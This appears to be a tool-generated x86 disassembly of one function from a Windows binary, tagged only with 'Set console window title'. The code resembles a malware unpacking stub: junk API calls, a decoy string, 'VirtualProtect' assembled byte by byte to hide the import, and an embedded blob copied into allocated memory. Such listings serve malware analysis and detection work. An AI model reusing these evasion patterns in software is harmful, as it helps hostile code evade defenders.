Function at 0x40eb30
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x40f04b
mov eax, dword fs:[0]
push eax
sub esp, 0x8e8
mov eax, dword [0x4130a0]
xor eax, esp
mov dword [esp + 0x8b0], eax
push ebx
push esi
push edi
mov eax, dword [0x4130a0]
xor eax, esp
push eax
lea eax, [esp + 0x8f8]
mov dword fs:[0], eax
push 0x4e1c80
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xd24a7
jne 0x40ebe6
push 0x43
xor esi, esi
push str.kajuyuzaguxemokavic_geposugileruwudekayidewanoladep_baxusefugemeben
lea ecx, [esp + 0x68]
mov dword [esp + 0x80], 0xf
mov dword [esp + 0x7c], esi
mov byte [esp + 0x6c], 0
call fcn.004011e0
mov dword [esp + 0x900], esi
fldz
sub esp, 8
fstp qword [esp]
call fcn.00401930
fstp st(0)
push esi
call fcn.00401a4d
add esp, 0xc
mov dword [esp + 0x900], 0xffffffff
cmp dword [esp + 0x78], 0x10
jb 0x40ebe6
mov eax, dword [esp + 0x64]
push eax
call fcn.00401a6e
add esp, 4
mov ebx, dword [esp + 0x40]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x5ffe5
jge 0x40ec02
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, 0x7554b2f
jle 0x40ec29
cmp ebx, 0x7c033962
je 0x40ec29
cmp dword [esp + 0x90], 0x3934cd9f
je 0x40ec29
cmp dword [esp + 0x3c], 0x76409727
jne 0x40ec34
inc esi
cmp esi, 0x176f9750
jl 0x40ebf2
jmp 0x40ec8c
cmp dword [0x4e5684], 0x572
jne 0x40ec8c
lea ecx, [esp + 0x7c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
lea edx, [esp + 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
lea eax, [esp + 0xc4]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
mov ecx, dword [0x415ba8]
mov edx, dword [0x4e5684]
xor eax, eax
lea ebx, [ebx]
cmp eax, 0x3279b2
jne 0x40eca9
mov edx, ecx
inc eax
cmp eax, 0x938932
jl 0x40eca0
push str.kernel32.dll
add edx, 0x1bfe1
push 0x4e1c80
mov dword [0x4e5684], edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor esi, esi
cmp esi, 0x35dcd8
jne 0x40ece9
push 0x4e1c80
call edi
mov dword [0x4e1c78], eax
inc esi
cmp esi, 0x5abd36
jl 0x40ecd5
mov ecx, dword [0x4e5684]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x414168]
mov cl, 0x72
mov dword [0x4dd178], eax
mov al, 0x74
mov byte [0x46ba3a], cl
mov byte [0x46ba40], cl
mov ecx, dword [0x4e5684]
mov byte [0x46ba3b], al
mov byte [0x46ba42], al
mov byte [0x46ba45], al
xor eax, eax
mov byte [0x46ba38], 0x56
mov byte [0x46ba39], 0x69
mov byte [0x46ba3c], 0x75
mov byte [0x46ba3d], 0x61
mov byte [0x46ba3e], 0x6c
mov byte [0x46ba3f], 0x50
mov byte [0x46ba41], 0x6f
mov byte [0x46ba43], 0x65
mov byte [0x46ba44], 0x63
mov byte [0x46ba46], 0
mov dword [0x4e5688], edx
test ecx, ecx
jbe 0x40edad
lea esi, [edx + 0x1bfe1]
mov edi, 0x922eace6
cmp ecx, 0x748
jne 0x40ed9c
mov dword [0x4e1c7c], edi
mov dl, byte [esi + eax]
mov ebx, dword [0x4dd178]
mov byte [ebx + eax], dl
inc eax
cmp eax, ecx
jb 0x40ed8e
xor esi, esi
nop
cmp esi, 0x2877c
jne 0x40edbd
call fcn.0040cfb0
inc esi
cmp esi, 0xd861c
jl 0x40edb0
call fcn.0040ea20
call fcn.0040e7d0
mov ecx, dword [esp + 0x8f8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x8b0]
xor ecx, esp
call fcn.00401799
mov esp, ebp
pop ebp
ret